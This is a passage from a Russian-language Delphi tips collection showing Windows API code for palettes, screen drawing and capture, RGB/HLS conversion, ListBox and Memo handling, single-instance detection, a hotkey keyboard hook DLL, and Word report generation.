
   palVersion := $0300; palNumEntries := PaletteSize;

   GetPaletteEntries(Palette, 0, PaletteSize, palPalEntry);

   // делаете что нужно с палитрой, например:

   Red := palPalEntry[PaletteSize-1].peRed;

   Edit1.Text := 'Красная составляющего последнего элемента палитры ='+IntToStr(Red);

   palPalEntry[PaletteSize-1].peRed := 0;

   //.......................................

  end;

  // завершение работы

  Image.Picture.Bitmap.Palette := CreatePalette(LogPalette^);

  finally

  FreeMem(LogPalette, LogSize);

  // я должен позаботиться сам об удалении Released Palette

  DeleteObject(Palette);

 end;

end;

{ Этот модуль заполняет фон формы рисунком bor6.bmp (256 цветов)

и меняет его палитру при нажатии кнопки }

unit bmpformu;

interface

uses

 Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;

type TBmpForm = class(TForm)

 Button1: TButton;

 procedure FormDestroy(Sender: TObject);

 procedure FormPaint(Sender: TObject);

 procedure Button1Click(Sender: TObject);

 procedure FormCreate(Sender: TObject);

private

 Bitmap: TBitmap;

 procedure ScrambleBitmap;

 procedure WMEraseBkgnd(var m: TWMEraseBkgnd); message WM_ERASEBKGND;

end;

var

 BmpForm: TBmpForm;

implementation

{$R *.DFM}

procedure TBmpForm.FormCreate(Sender: TObject);

begin

 Bitmap := TBitmap.Create;

 Bitmap.LoadFromFile('bor6.bmp');

end;

procedure TBmpForm.FormDestroy(Sender: TObject);

begin

 Bitmap.Free;

end;

// since we're going to be painting the whole form, handling this

// message will suppress the uneccessary repainting of the background

// which can result in flicker.

procedure TBmpform.WMEraseBkgnd(var m : TWMEraseBkgnd);

begin

 m.Result := LRESULT(False);

end;

procedure TBmpForm.FormPaint(Sender: TObject);

 var x, y: Integer;

begin

 y := 0;

 while y < Height do begin

  x := 0;

  while x < Width do begin

   Canvas.Draw(x, y, Bitmap);

   x := x + Bitmap.Width;

  end;

  y := y + Bitmap.Height;

 end;

end;

procedure TBmpForm.Button1Click(Sender: TObject);

begin

 ScrambleBitmap; Invalidate;

end;

// scrambling the bitmap is easy when it's has 256 colors:

// we just need to change each of the color in the palette

// to some other value.

procedure TBmpForm.ScrambleBitmap;

var

 pal: PLogPalette;

 hpal: HPALETTE;

 i: Integer;

begin

 pal := nil;

 try

  GetMem(pal, sizeof(TLogPalette) + sizeof(TPaletteEntry) * 255);

  pal.palVersion := $300;

  pal.palNumEntries := 256;

  for i := 0 to 255 do begin

   pal.palPalEntry[i].peRed := Random(255);

   pal.palPalEntry[i].peGreen := Random(255);

   pal.palPalEntry[i].peBlue := Random(255);

  end;

  hpal := CreatePalette(pal^);

  if hpal <> 0 then Bitmap.Palette := hpal;

 finally

  FreeMem(pal);

 end;

end;

end.  

Заполняет Canvas рисунком с рабочего стола, учитывая координаты.

Function PaintDesktop(HDC) : boolean;

Например:

PaintDesktop(form1.Canvas.Handle);

Как вставить растровое изображение в компонент ListBox?

Для этого необходимо установить в инспекторе объектов поле Style в lbOwnerDrawFixed, при фиксированной высоте строки, или в lbOwnerDrawVariable, при переменной, и установить собственный обработчик события для OnDrawItem. В этом обработчике и надо рисовать растровое изображение.

Пример:

Рисуются изображения размером 32×16 (размер стандартного глифа для Delphi). Очень полезно при поиске нужного изображения для кнопок!

Установить в инспекторе объектов для ListBox поле ItemHeight = 19, а поле Color = clBtnFace.

{ Загрузить список файлов в ListBox1 при нажатии на кнопку Load (например)}

procedure TForm1.bLoadClick(Sender: TObject);

VAR S : String;

begin

 ListBox1.Clear; {чистим список}

 S := '*.bmp'#0; {задаем шаблон}

 ListBox1.Perform(LB_DIR, DDL_ReadWrite, Longint(@S[1])); {заполняем список}

end;

............

{Отобразить изображения и имена файлов в ListBox}

procedure TForm1.ListBox1DrawItem(Control: TWinControl; Index: Integer; Rect: TRect; State: DrawState);

VAR

 Bitmap : TBitmap;

 Offset : Integer;

 BMPRect: TRect;

begin

 WITH (Control AS TListBox).Canvas DO BEGIN

  FillRect(Rect);

  Bitmap := TBitmap.Create;

  Bitmap.LoadFromFile(ListBox1.Items[Index]);

  Offset := 0;

  IF Bitmap <> NIL THEN BEGIN

   BMPRect := Bounds(Rect.Left+2, Rect.Top+2,

    (Rect.Bottom-Rect.Top-2)*2, Rect.Bottom-Rect.Top-2);

   {StretchDraw(BMPRect, Bitmap); Можно просто нарисовать, но лучше сначала убрать фон}

   BrushCopy(BMPRect,Bitmap, Bounds(0, 0, Bitmap.Width, Bitmap.Height),

   Bitmap.Canvas.Pixels[0, Bitmap.Height-1]);

   Offset := (Rect.Bottom-Rect.Top+1)*2;

  END;

  TextOut(Rect.Left+Offset, Rect.Top, ListBox1.Items[Index]);

  Bitmap.Free;

 END;

end;

Данный пример работает медленно, но оптимизация, для ускорения, вызвала бы трудность в понимании общего принципа его работы.

Можно ли из Delphi рисовать в любой части экрана или в чужом окне?

Для этого надо воспользоваться функциями API. Получить контекст чужого окна, либо всего экрана:

function GetDC(Wnd: HWnd): HDC;

где Wnd — указатель на нужное окно, или 0 для получения контекста всего экрана.

И далее, пользуясь функциями API, нарисовать все что надо.

Пример:

PROCEDURE DrawOnScreen;

VAR ScreenDC: hDC;

BEGIN

 ScreenDC := GetDC(0); {получить контекст экрана}

 Ellipse(ScreenDC, 0, 0, 200, 200); {нарисовать}

 ReleaseDC(0,ScreenDC); {освободить контекст}

END;

Не забывайте после своих манипуляций посылать пострадавшим (или всем) окнам сообщение о необходимости перерисовки, для восстановления их первоначального вида.

 Написание текста под углом

{ Эта процедура устанавливает угол вывода текста для указанного Canvas, угол в градусах }

{ Шрифт должен быть TrueType ! }

procedure CanvasSetTextAngle(c: TCanvas; d: single);

var LogRec: TLOGFONT; { Информация о шрифте }

begin

 {Читаем текущюю инф. о шрифте }

 GetObject(c.Font.Handle,SizeOf(LogRec) ,Addr(LogRec) );

 { Изменяем угол }

 LogRec.lfEscapement := round(d*10);

 { Устанавливаем новые параметры }

 c.Font.Handle := CreateFontIndirect(LogRec);

end;

Преобразование цвета RGB в HLS

{ Максимальные значения }

Const

 HLSMAX = 240;

 RGBMAX = 255;

 UNDEFINED = (HLSMAX*2) div 3;

Var

 H, L, S : integer; { H-оттенок, L-яркость, S-насыщенность }

 R, G, B : integer; { цвета }

procedure RGBtoHLS;

Var

 cMax,cMin : integer;

 Rdelta,Gdelta,Bdelta : single;

Begin

 cMax := max( max(R,G), B);

 cMin := min( min(R,G), B);

 L := round( ( ((cMax+cMin)*HLSMAX) + RGBMAX )/(2*RGBMAX) );

 if (cMax = cMin) then begin

  S := 0; H := UNDEFINED;

 end else begin

  if (L <= (HLSMAX/2)) then

   S := round( ( ((cMax-cMin)*HLSMAX) + ((cMax+cMin)/2) ) / (cMax+cMin) )

  else

   S := round( ( ((cMax-cMin)*HLSMAX) + ((2*RGBMAX-cMax-cMin)/2) ) / (2*RGBMAX-cMax-cMin) );

  Rdelta := ( ((cMax-R)*(HLSMAX/6)) + ((cMax-cMin)/2) ) / (cMax-cMin);

  Gdelta := ( ((cMax-G)*(HLSMAX/6)) + ((cMax-cMin)/2) ) / (cMax-cMin);

  Bdelta := ( ((cMax-B)*(HLSMAX/6)) + ((cMax-cMin)/2) ) / (cMax-cMin);

  if (R = cMax) then H := round(Bdelta - Gdelta)

  else if (G = cMax) then H := round( (HLSMAX/3) + Rdelta - Bdelta)

  else H := round( ((2*HLSMAX)/3) + Gdelta - Rdelta );

  if (H < 0) then H:=H + HLSMAX;

  if (H > HLSMAX) then H:= H - HLSMAX;

 end;

 if S<0 then S:=0; if S>HLSMAX then S:=HLSMAX;

 if L<0 then L:=0; if L>HLSMAX then L:=HLSMAX;

end;

procedure HLStoRGB;

Var

 Magic1,Magic2 : single;

 function HueToRGB(n1,n2,hue : single) : single;

 begin

  if (hue < 0) then hue := hue+HLSMAX;

  if (hue > HLSMAX) then hue:=hue -HLSMAX;

  if (hue < (HLSMAX/6)) then

   result:= ( n1 + (((n2-n1)*hue+(HLSMAX/12))/(HLSMAX/6)) )

  else

   if (hue < (HLSMAX/2)) then result:=n2 else

    if (hue < ((HLSMAX*2)/3)) then

     result:= ( n1 + (((n2-n1)*(((HLSMAX*2)/3)-hue)+(HLSMAX/12))/(HLSMAX/6)))

    else result:= ( n1 );

 end;

begin

 if (S = 0) then begin

  B:=round( (L*RGBMAX)/HLSMAX ); R:=B; G:=B;

 end else begin

  if (L <= (HLSMAX/2)) then Magic2 := (L*(HLSMAX + S) + (HLSMAX/2))/HLSMAX

  else Magic2 := L + S - ((L*S) + (HLSMAX/2))/HLSMAX;

  Magic1 := 2*L-Magic2;

  R := round( (HueToRGB(Magic1,Magic2,H+(HLSMAX/3))*RGBMAX + (HLSMAX/2))/HLSMAX );

  G := round( (HueToRGB(Magic1,Magic2,H)*RGBMAX + (HLSMAX/2)) / HLSMAX );

  B := round( (HueToRGB(Magic1,Magic2,H-(HLSMAX/3))*RGBMAX + (HLSMAX/2))/HLSMAX );

 end;

 if R<0 then R:=0; if R>RGBMAX then R:=RGBMAX;

 if G<0 then G:=0; if G>RGBMAX then G:=RGBMAX;

 if B<0 then B:=0; if B>RGBMAX then B:=RGBMAX;

end;

Число цветов (цветовая палитра) у данного компьютера

Эта функция возвращает число бит на точку у данного компьютера. Так, например, 8 — 256 цветов, 4 — 16 цветов ...

function GetDisplayColors : integer;

var tHDC : hdc;

begin

 tHDC:=GetDC(0);

 result:=GetDeviceCaps(tHDC, 12)* GetDeviceCaps(tHDC, 14);

 ReleaseDC(0, tHDC);

end;

Копирование экрана

unit ScrnCap;

interface

uses WinTypes, WinProcs, Forms, Classes, Graphics, Controls;

{ Копирует прямоугольную область экрана }

function CaptureScreenRect(ARect : TRect) : TBitmap;

{ Копирование всего экрана }

function CaptureScreen : TBitmap;

{ Копирование клиентской области формы или элемента }

function CaptureClientImage(Control : TControl) : TBitmap;

{ Копирование всей формы элемента }

function CaptureControlImage(Control : TControl) : TBitmap;

{====================================================}

implementation

function GetSystemPalette : HPalette;

var

 PaletteSize : integer;

 LogSize : integer;

 LogPalette : PLogPalette;

 DC : HDC;

 Focus : HWND;

begin

 result:=0;

 Focus:=GetFocus;

 DC:=GetDC(Focus);

 try

  PaletteSize:=GetDeviceCaps(DC, SIZEPALETTE);

  LogSize:=SizeOf(TLogPalette)+(PaletteSize-1)*SizeOf(TPaletteEntry);

  GetMem(LogPalette, LogSize);

  try

   with LogPalette^ do begin

    palVersion:=$0300;

    palNumEntries:=PaletteSize;

    GetSystemPaletteEntries(DC, 0, PaletteSize, palPalEntry);

   end;

   result:=CreatePalette(LogPalette^);

  finally

   FreeMem(LogPalette, LogSize);

  end;

 finally

  ReleaseDC(Focus, DC);

 end;

end;

function CaptureScreenRect(ARect : TRect) : TBitmap;

var

 ScreenDC : HDC;

begin

 Result:=TBitmap.Create;

 with result, ARect do begin

  Width:=Right-Left;

  Height:=Bottom-Top;

  ScreenDC:=GetDC(0);

  try

   BitBlt(Canvas.Handle, 0,0,Width,Height,ScreenDC, Left, Top, SRCCOPY );

  finally

   ReleaseDC(0, ScreenDC);

  end;

  Palette:=GetSystemPalette;

 end;

end;

function CaptureScreen : TBitmap;

begin

 with Screen do

  Result:=CaptureScreenRect(Rect(0,0,Width,Height));

end;

function CaptureClientImage(Control : TControl) : TBitmap;

begin

 with Control, Control.ClientOrigin do

  result:=CaptureScreenRect(Bounds(X,Y,ClientWidth,ClientHeight));

end;

function CaptureControlImage(Control : TControl) : TBitmap;

begin

 with Control do

  if Parent=Nil then

   result:=CaptureScreenRect(Bounds(Left,Top,Width,Height))

  else

   with Parent.ClientToScreen(Point(Left, Top)) do

    result:=CaptureScreenRect(Bounds(X,Y,Width,Height));

end;

end.

Как нарисовать "неактивный"(disable) текст.

{************************ Draw Disabled Text **************

***** This function draws text in "disabled" style. *****

***** i.e. the text is grayed . *****

**********************************************************}

function DrawDisabledText (Canvas : tCanvas; Str: PChar; Count: Integer; var Rect: TRect; Format: Word): Integer;

begin

 SetBkMode(Canvas.Handle, TRANSPARENT);

 OffsetRect(Rect, 1, 1);

 Canvas.Font.color:= ClbtnHighlight;

 DrawText (Canvas.Handle, Str, Count, Rect,Format);

 Canvas.Font.Color:= ClbtnShadow;

 OffsetRect(Rect, -1, -1);

 DrawText (Canvas.Handle, Str, Count, Rect, Format);

end;

Как менять разрешение экрана по ходу выполнения программы

function SetFullscreenMode:Boolean;

var DeviceMode : TDevMode;

begin

 with DeviceMode do begin

  dmSize:=SizeOf(DeviceMode);

  dmBitsPerPel:=16;

  dmPelsWidth:=640;

  dmPelsHeight:=480;

  dmFields:=DM_BITSPERPEL or DM_PELSWIDTH or DM_PELSHEIGHT;

  result:=False;

  if ChangeDisplaySettings(DeviceMode,CDS_TEST or CDS_FULLSCREEN) <> DISP_CHANGE_SUCCESSFUL

  then Exit;

  Result:=ChangeDisplaySettings(DeviceMode,CDS_FULLSCREEN) = DISP_CHANGE_SUCCESSFUL;

 end;

end;

procedure RestoreDefaultMode;

var T : TDevMode absolute 0;

begin

 ChangeDisplaySettings(T,CDS_FULLSCREEN);

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

 if setFullScreenMode then begin

  sleep(7000);

  RestoreDefaultMode;

 end;

end;

Как поместить картинку из базы данных, например MsSQL, в компонент TIMAGE?

1) Предполагается, что поле BLOB (например, Pict)

2) в запросе Query.SQL пишется что-то вроде

'select Pict from sometable where somefield=somevalue'

3) запрос открывается

4) делается "присваивание":

Image1.Picture.Assing(TBlobField(Query.FieldByName('Pict'))

или, если известно, что эта картинка — Bitmap, то можно

Image1.Picture.Bitmap.Assing(TBlobField(Query.FieldByName('Pict'))

А можно воспользоваться компонентом TDBImage.

Извлечение иконки из Exe-файла и рисование ее в TImages

Каким образом извлечь иконку из EXE- и DLL-файлов (ExtractAssociatedIcon) и отобразить ее на компоненте Timage или небольшой области на форме?

--------------------------------------------------------------------------------

uses ShellApi;

procedure TForm1.Button1Click(Sender: TObject);

var

 IconIndex : word;

 h : hIcon;

begin

 IconIndex := 0;

 h := ExtractAssociatedIcon(hInstance, 'C:\WINDOWS\NOTEPAD.EXE', IconINdex);

 DrawIcon(Form1.Canvas.Handle, 10, 10, h);

end;

Разное

Как получить горизонтальную прокрутку (scrollbar) в ListBox?

Так же как в случае с TMemo, здесь можно использовать сообщения. Например, сообщение может быть отослано в момент создания формы:

procedure TForm1.FormCreate(Sender: TObject);

begin

 ListBox1.Perform(LB_SETHORIZONTALEXTENT, 1000, Longint(0));

end;

Второй параметр в вызове — ширина прокрутки в точках.

Поиск строки в ListBox

Есть функция API Windows, что заставляет искать строку в ListBox с указанной позиции.

Например, поиск строки, что начинается на '1.' От текущей позиции курсора в ListBox. Т.о., нажимая на кнопку Button1, будут перебраны все строки начинающиеся на '1.'

procedure TForm1.Button1Click(Sender: TObject);

var S : string;

begin

 S:='1.';

 with ListBox1 do ItemIndex := Perform(LB_SELECTSTRING, ItemIndex, LongInt(S));

end;

Более подробную информацию о работе команды LB_SELECTSTRING можно узнать из Help-а Win32.

Пример получения позиции курсора из компоненты TMemo.

procedure TForm1.Memo1KeyUp(Sender: TObject; var Key: Word;  Shift: TShiftState);

begin

Memo1Click(Self);

end;

procedure TForm1.Memo1Click(Sender: TObject);

VAR

  LineNum : LongInt;

  CharNum : LongInt;

begin

  LineNum := Memo1.Perform(EM_LINEFROMCHAR, Memo1.SelStart, 0);

  CharNum := Memo1.Perform(EM_LINEINDEX, LineNum, 0);

  Label1.Caption := IntToStr(LineNum+1)+' : '+IntToStr((Memo1.SelStart-CharNum)+1);

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

  Memo1Click(Self);

end;

Функция Undo в TMemo

В компоненте TMemo предусмотрена функция отмены последней правки (Undo). Ее можно вызвать следующим образом:

Memo1.Perform(EM_UNDO,0,0);

Узнать о том, возможна ли отмена (т.е. есть ли что отменять) можно следующим образом:

UndoEnabled:=(Memo1.Perform(EM_CAUNDO,0,0)<>0);

Как прокрутить текст в Tmemo или в TRichEdit

Я добавляю програмно несколько строк в конец поля Memo, а их не видно. Как прокрутить Memo, чтобы было видно последние строки ?

Примерно так:

SendMessage(Memo1.Handle, EM_LINESCROLL, 0, Memo1.Lines.Count-1);

Как определить работает ли уже данное приложение или это первая его копия?

Для Delphi 1. Каждый экземпляр программы имеет ссылку на свою предыдущую копию — hPrevInst: hWnd. Ее можно проверить перед созданием приложения и при необходимости отреагировать соответствующим образом. Если запущена только одна копия, то эта ссылка равна нулю.

Пример:

procedure TForm1.FormCreate(Sender: TObject);

begin

  {Проверяем есть ли указатель на предыдущую копию приложения}

  IF hPrevInst <> 0 THEN BEGIN

    {Если есть, то выдаем сообщение и выходим}

    MessageDlg('Программа уже запущена!', mtError, [mbOk], 0);

    Halt;

  END;

  {Иначе - ничего не делаем (не мешаем созданию формы)}

end;

P.S. Для выхода необходимо использовать Halt, а не Close, как хотелось бы, так как форма еще не создана и закрывать нечего.

Есть и другой способ — по списку загруженных приложений

procedure TForm1.FormCreate(Sender: TObject);

VAR

Wnd : hWnd;

buff : ARRAY[0.. 127] OF Char;

Begin

Wnd := GetWindow(Handle, gw_HWndFirst);

WHILE Wnd <> 0 DO BEGIN

  IF (Wnd <> Application.Handle) AND (GetWindow(Wnd, gw_Owner) = 0)

  THEN BEGIN

   GetWindowText (Wnd, buff, sizeof (buff ));

   IF StrPas (buff) = Application.Title THEN

   BEGIN

    MessageDlg('Приложение уже загружено', mtWarning, [mbOk], 0);

    Halt;

   END;

  END;

  Wnd := GetWindow (Wnd, gw_hWndNext);

 END;

End;

Еще один интересный способ для Win32. Дело в том, что можно в памяти создавать временные файлы. При перезагрузке они теряются, а так существуют. Кстати, этот метод можно использовать и для обмена информацией между вашими приложениями.

Пример:

program Project1;

uses

  Windows, // Обязательно

  Forms,

  Unit1 in 'Unit1.pas' {Form1};

{$R *.RES}

Const

MemFileSize = 1024;

MemFileName = 'one_inst_demo_memfile';

Var

MemHnd : HWND;

begin

  { Попытаемся создать файл в памяти }

  MemHnd := CreateFileMapping(HWND($FFFFFFFF),

                              nil,

                              PAGE_READWRITE,

                              0,

                              MemFileSize,

                              MemFileName);

  { Если файл не существовал запускаем приложение }

  if GetLastError<>ERROR_ALREADY_EXISTS then

  begin

   Application.Initialize;

   Application.CreateForm(TForm1, Form1);

   Application.Run;

  end;

  CloseHandle(MemHnd);

end.

Часто при работе у пользователя может быть открыто 5–20 окон и сообщение о том, что программа уже запущено приводит к тому, что он вынужден полчаса искать ранее запущенную копию. Выход из положения — найдя копию программы активировать ее, для чего в последнем примере перед HALT необходимо добавить строку :

SetForegroundWindow(Wnd);

Например так:

uses

  Windows, // !!!

  Forms,

  Unit0 in 'Unit0.pas' {Form1};

var

  Handle1 : LongInt;

  Handle2 : LongInt;

{$R *.RES}

begin

  Application.Initialize;

  Handle1 := FindWindow('TForm1',nil);

  if handle1 = 0 then

    begin

      Application.CreateForm(TForm1, Form1);

      Application.Run;

    end

  else

    begin

      Handle2 := GetWindow(Handle1,GW_OWNER);

      //Чтоб заметили :)

      ShowWindow(Handle2,SW_HIDE); ShowWindow(Handle2,SW_RESTORE);

      SetForegroundWindow(Handle1); // Активизируем

    end;

end. 

Пример вывода сообщения одной командой и ввода строки тоже одной командой.

Вывод сообщения: ShowMessage('сообщение');

Ввод текста от пользователя: S:=InputBox('Заголовок', 'Сообщение', S{строка по умолчанию});

unit Unit1;

interface

uses 

SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls;

type

  TForm1 = class(TForm)

    Button1: TButton;

    Button2: TButton;

    Button3: TButton;

    procedure Button1Click(Sender: TObject);

    procedure Button2Click(Sender: TObject);

    procedure Button3Click(Sender: TObject);

end;

var

  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);

begin

  ShowMessage('Пример простого сообщения.'+#10+

  'Данное сообщение выводится всегда в центре экрана.');

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

  ShowMessagePos('Пример сообщения с указанием его положения на экране.',

   Form1.Left+Button2.Left, Form1.Top+Button2.Top);

end;

procedure TForm1.Button3Click(Sender: TObject);

begin

  Button3.Caption := InputBox('Delphi для всех',  'Введите строку:', Button3.Caption);

end;

end.

Перетаскивание формы за ее поле

procedure TForm1.MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

const SC_DragMove = $F012; { a magic number }

begin

 ReleaseCapture;

 perform(WM_SysCommand, SC_DragMove, 0);

end;

Обработка событий от клавиатуры

I. Эмуляция нажатия клавиши.

Внутри приложения это выполняется достаточно просто с помощью вызова функции Windows API SendMessage() (можно воспользоваться и методом Perform того объекта (или формы), кому посылается сообщение о нажатой клавише).

Код

Memo1.Perform(WM_CHAR, Ord('A'), 0);

или

SendMessage(Memo1.Handle, WM_CHAR, Ord('A'), 0);

приведет к печати символа "A" в объекте Memo1.

II. Перехват нажатий клавиши внутри приложения.

Задача решается очень просто. Можно у формы установить свойство KeyPreview в True и обрабатывать событие OnKeyPress. Второй способ — перехватывать событие OnMessage для объекта Application.

III. Перехват нажатия клавиши в Windows.

Существуют приложения, которым необходимо перехватывать все нажатия клавиш в Windows, даже если в данный момент активно другое приложение. Это может быть, например, программа, переключающая раскладку клавиатуры, резидентный словарь или программа, выполняющая иные действия по нажатию "горячей" комбинации клавиш. Перехват всех событий в Windows (в том числе и событий от клавиатуры) выполняется с помощью вызова функции SetWindowsHook(). Данная функция регистрирует в системе Windows ловушку (hook) для определенного типа событий/сообщений. Ловушка — это пользовательская процедура, которая будет обрабатывать указанное событие. Основное здесь то, что эта процедура должна всегда присутствовать в памяти Windows. Поэтому ловушку помещают в DLL и загружают эту DLL из программы. Пока хоть одна программа использует DLL, та не может быть выгружена из памяти. Приведем пример такой DLL и программы, ее использующей. В примере ловушка перехватывает нажатие клавиш на клавиатуре, проверяет их и, если это клавиши "+" или "-", посылает соответствующее сообщение в конкретное приложение (окно). Окно ищется по имени его класса ("TForm1") и заголовку (caption, "XXX").

{текст библиотеки}

library SendKey;

uses

WinTypes, WinProcs, Messages;

const

{пользовательские сообщения}

wm_NextShow_Event = wm_User + 133;

wm_PrevShow_Event = wm_User + 134;

{handle для ловушки}

HookHandle: hHook = 0;

var

SaveExitProc : Pointer;

{собственно ловушка}

function Key_Hook(Code: integer; wParam: word; lParam: Longint): Longint; export;

var

H: HWND;

begin

{если Code>=0, то ловушка может обработать событие}

if Code >= 0 then

begin

   {это те клавиши?}

   if ((wParam = VK_ADD)or(wParam = VK_SUBTRACT)) and

(lParam and $40000000 = 0)

   then begin

     {ищем окно по имени класса и по заголовку}

     H := FindWindow('TForm1', 'XXX');

     {посылаем сообщение}

     if wParam = VK_ADD then

       SendMessage(H, wm_NextShow_Event, 0, 0)

     else

       SendMessage(H, wm_PrevShow_Event, 0, 0);

   end;

  {если 0, то система должна дальше обработать это событие}

  {если 1 - нет}

  Result:=0;

end

else

  {если Code<0, то нужно вызвать следующую ловушку}

   Result := CallNextHookEx(HookHandle,Code, wParam, lParam);

end;

{при выгрузке DLL надо снять ловушку}

procedure LocalExitProc; far;

begin

if HookHandle<>0 then

begin

   UnhookWindowsHookEx(HookHandle);

   ExitProc := SaveExitProc;

end;

end;

{инициализация DLL при загрузке ее в память}

begin

{устанавливаем ловушку}

HookHandle := SetWindowsHookEx(wh_Keyboard, Key_Hook,

   hInstance, 0);

if HookHandle = 0 then

   MessageBox(0, 'Unable to set hook!', 'Error', mb_Ok)

else begin

  SaveExitProc := ExitProc;

  ExitProc := @LocalExitProc;

end;

end.

Размер такой DLL в скомпилированном виде будет около 3Кб, поскольку в ней не используются объекты из VCL.

Далее приведен код модуля в Delphi, который загружает DLL и обрабатывает сообщения от ловушки, просто отображая их в Label1.

unit Unit1;

interface

uses

SysUtils,WinTypes,WinProcs,Messages,Classes,Graphics,

Controls,Forms,Dialogs,StdCtrls;

{пользовательские сообщения}

const

wm_NextShow_Event = wm_User + 133;

wm_PrevShow_Event = wm_User + 134;

type

  TForm1 = class(TForm)

    Label1: TLabel;

    procedure FormCreate(Sender: TObject);

  private

{обработчики сообщений}

    procedure WM_NextMSG (Var M : TMessage); message wm_NextShow_Event;

    procedure WM_PrevMSG (Var M : TMessage); message wm_PrevShow_Event;

  end;

var

  Form1: TForm1;

  P : Pointer;

implementation

{$R *.DFM}

{загрузка DLL}

function Key_Hook : Longint; far; external 'SendKey';

procedure TForm1.WM_NextMSG (Var M : TMessage);

begin

  Label1.Caption:='Next message';

end;

procedure TForm1.WM_PrevMSG (Var M : TMessage);

begin

  Label1.Caption:='Previous message';

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

  {если не использовать вызов процедуры из DLL в программе,

   то компилятор удалит загрузку DLL из программы}

  P:=@Key_Hook;

end;

end.

Конечно, свойство Caption в этой форме должно быть установлено в "XXX".

Как сделать так, что при нажатии на Enter происходил переход к следующему элементу формы

Ставите у формы KeyPreview = true и создаете событие KeyPress следующего вида:

procedure TForm1.FormKeyPress(Sender: TObject; var Key: Char);

begin

 if (Key = #13) then begin

  Key:=#0;

  Perform(WM_NEXTDLGCTL,0,0);

  end;

end;

Вставка и удаление компонент в форму в design-time

Вопрос:

Каким образом можно отследить вставку и удаление компонент в форму в design-time? Такая информация могла бы пригодится, если моя компонента имеет ссылки на другие компоненты (например, как в связке TDateSource,TTable и др.)

Ответ:

Для получения такой информации предназначен метод

procedure Notification (AComponent: TComponent; Operation: TOperation); virtual;

класса TComponent. Перекрыв его в своей компоненты Вы можете произвести необходимые действия, в зависимости от значения параметра Operation типа

TOperation = (opInsert, opRemove);

объявленного в модуле Classes. Параметр AComponent — компонента, соответственно вставлемая или удаляемая, в зависимости от Operation.

Создание отчета в MS Word

(Пример для Delphi 1.0 поскольку в Delphi 2-3 лучше использовать:

var MsWord : variant;

MsWord := CreateOleObject('Word.Basic');

Для Delphi 3, пример ниже)

Создавать отчет в программе Word удобно если отчет имеет сложную структуру (тогда его быстрее создать в Word, чем в Qreport от Delphi, кроме того, этот QReport имеет "глюки"), либо, если после создания отчета его нужно будет изменять. Итак, первым делом в Word создается шаблон будущего отчета, это самый обыкновенный не заполненный отчет. А в места куда будет записываться информация нужно поставить метки. Например (для наглядности метки показаны синим цветом, реально они конечно не видны):

Накладная № Num

№ Поставщик Наименование товара Код товара Кол-во Цена Сумма Table ? ? ? ? ? ?

Сдал_______________________          Принял________________________

             М.П.                                    М.П.

Далее в форму, откуда будут выводиться данные, вставляете компоненту DdeClientConv из палитры System. Назовем ее DDE1. Эта компонента позволяет передавать информацию между программами методом DDE. Свойства:

ConnectMode : ddeManual — связь устанавливаем вручную

DdeService : (winword) — с кем устанавливается связь

ServiceApplication : C:\MSOffice\Winword\WINWORD.EXE — полный путь доступа к программе. (Вот здесь можно наступить на грабли. Ведь Word может лежать в любой папке! Поэтому путь доступа к нему лучше взять из реестра, а еще лучше использовать OLE см.начало раздела)

Теперь пишем процедуру передачи данных:

{ Печать накладной }

procedure Form1.PrintN;

Var

    S          : string;

    i          : integer;

    Sum        : double;  {итоговая сумма, кстати,совет: не пользуйтесь типом real!}

    Tv, Ss     : PChar;

begin

S:=GetCurrentDir+'\Накладная.doc'; { имя открываемого документа }

DDE1.OpenLink; { устанавливаем связь }

Tv:=StrAlloc(20000); Ss:=StrAlloc(300); { выделяем память }

  { даем команду открыть документ и установить курсор в начало документа }

StrPCopy(Tv, '[FileOpen "'+S+'"][StartOfDocument]');

S:=NNakl.Text; { номер накладной }

  { записываем в позицию Num номер накладной }

StrCat(Tv, StrPCopy(SS, '[EditBookmark .Name = "Num", .Goto][Insert "'+S+'"]'+

'[EditBookmark .Name = "Table", .Goto]'); { и переходим к заполнению таблицы }

  { передаем данные в Word }

if not DDE1.ExecuteMacro(Tv, false) then

   begin { сообщаем об ошибке и выход }

    MessageDlg('Ошибка связи с Microsoft Word.', mtError, [mbOk], 0);

    StrDispose(Tv); StrDispose(Ss);

    exit;

   end;

  { Заполняем таблицу }

Sum:=0; Nn:=0;

for i:=0 to TCount do

begin

  inc(Nn);

  { предполагаем, что данные находятся в массиве T }

  StrPCopy(Tv, '[Insert "'+IntToStr(Nn)+'"][NextCell][Insert "'+T[i].Company+'"]'+

   '[NextCell][Insert "'+T.TName+'"][NextCell][Insert "'+T.Cod+'"][NextCell]'+

   '[Insert "'+IntToStr(T.Count)+'"][NextCell]'+

   '[Insert "'+FloatToStr(T.Cena)+'"][NextCell]'+

   '[Insert "'+FloatToStr(T.Count*T.Cena)*+'"][NextCell]'));

  inc(Nn);

  Sum:=Sum+(T.Count*T.Cena); { итоговая сумма }

  if not DDE1.ExecuteMacro(Tv, false)

   then begin

    MessageDlg('Ошибка связи с Microsoft Word.', mtError, [mbOk], 0);

    exit;

   end;

end;

{ Записываем итоговую сумму }

StrPCopy(Tv,

  '[NextCell][Insert "Итого"][NextCell][NextCell][NextCell]'+

  '[Insert "'+FloatToStr(Sum)+'"]'));

if not DDE1.ExecuteMacro(Tv, false)

  then MessageDlg('Ошибка связи с Microsoft Word.', mtError, [mbOk], 0)

  else MessageDlg('Акт удачно создан. Перейдите в Microsoft Word.',

        mtInformation, [mbOk], 0);

StrDispose(Tv); StrDispose(Ss);

end;

 Для Delphi 2 и выше

=== Cut Пример by Sergey Arkhipov 2:5054/88.10 ===

Пример проверен только на русском Word 7.0! Может, поможет...

unit InWord;

interface

uses

  ... ComCtrls; // Delphi3

  ... OLEAuto;  // Delphi2

[skip]

procedure TPrintForm.MPrintClick(Sender: TObject);

var W: Variant;

    S: String;

begin

  S:=IntToStr(Num);

  try // А вдруг где ошибка :)

    W:=CreateOleObject('Word.Basic');

    // Создаем документ по шаблону MyWordDot

    // с указанием пути если он не в папке шаблонов Word

